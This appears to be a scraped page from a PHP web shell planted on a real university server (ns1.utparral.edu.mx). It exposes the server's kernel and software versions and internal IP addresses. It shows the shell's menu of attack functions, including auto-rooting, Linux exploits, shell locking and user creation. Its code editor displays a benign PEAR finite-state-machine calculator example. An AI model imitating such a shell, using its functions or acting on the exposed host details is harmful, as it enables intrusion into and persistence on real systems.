Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
doc /
FSM /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
graphviz.php
212
B
-rw-r--r--
rpn.php
1.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rpn.php
<?php require_once 'FSM.php'; function BeginBuildNumber($symbol, $payload) { array_push($payload, $symbol); } function BuildNumber($symbol, $payload) { $n = array_pop($payload); $n = $n . $symbol; array_push($payload, $n); } function EndBuildNumber($symbol, $payload) { $n = array_pop($payload); array_push($payload, (int)$n); } function DoOperator($symbol, $payload) { $ar = array_pop($payload); $al = array_pop($payload); if ($symbol == '+') { array_push($payload, $al + $ar); } elseif ($symbol == '-') { array_push($payload, $al - $ar); } elseif ($symbol == '*') { array_push($payload, $al * $ar); } elseif ($symbol == '/') { array_push($payload, $al / $ar); } } function DoEqual($symbol, $payload) { echo array_pop($payload) . "\n"; } function Error($symbol, $payload) { echo "This does not compute: $symbol\n"; } $stack = array(); $fsm = new FSM('INIT', $stack); $fsm->setDefaultTransition('INIT', 'Error'); $fsm->addTransitionAny('INIT', 'INIT'); $fsm->addTransition('=', 'INIT', 'INIT', 'DoEqual'); $fsm->addTransitions(range(0,9), 'INIT', 'BUILDING_NUMBER', 'BeginBuildNumber'); $fsm->addTransitions(range(0,9), 'BUILDING_NUMBER', 'BUILDING_NUMBER', 'BuildNumber'); $fsm->addTransition(' ', 'BUILDING_NUMBER', 'INIT', 'EndBuildNumber'); $fsm->addTransitions(array('+','-','*','/'), 'INIT', 'INIT', 'DoOperator'); echo "Expression:\n"; $stdin = fopen('php://stdin', 'r'); $expression = rtrim(fgets($stdin)); $symbols = preg_split('//', $expression, -1, PREG_SPLIT_NO_EMPTY); $fsm->processList($symbols);
Close